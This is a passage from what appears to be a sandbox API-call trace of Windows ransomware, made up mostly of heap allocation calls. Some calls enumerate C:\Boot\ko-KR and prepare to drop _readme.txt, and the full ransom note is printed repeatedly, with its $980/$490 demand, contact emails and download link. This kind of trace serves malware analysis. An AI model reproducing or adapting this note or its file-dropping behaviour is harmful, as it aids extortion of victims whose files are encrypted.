hHeap=0x35b0000) returned 1 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.138] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.138] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.139] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.139] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.139] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.139] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.139] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.139] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.139] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.139] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.139] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.139] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.139] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.139] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.139] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.139] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.139] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.139] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0117.139] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.139] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.139] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.139] PathFindFileNameW (pszPath="") returned="" [0117.139] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.139] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.140] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.140] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x61eeac0 [0117.140] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.140] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0117.140] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.140] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.140] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0117.140] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.140] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0117.141] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.141] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.141] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.141] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.141] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.141] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.141] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.141] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.141] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.141] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.142] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.142] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.142] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.142] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.142] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.142] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.142] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.142] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.142] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.142] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.142] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.142] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.142] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.142] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.142] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.142] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.142] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.142] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.142] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.142] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.142] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.142] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.142] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.142] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.142] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.142] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.142] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.143] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.143] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.143] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.143] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.143] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.143] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.143] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.143] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.143] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.143] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.143] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.143] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.143] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.143] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.143] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.143] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.144] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.144] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.145] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.145] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.146] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.146] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.146] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.146] HeapFree (in: hHeap=0x35b0000, 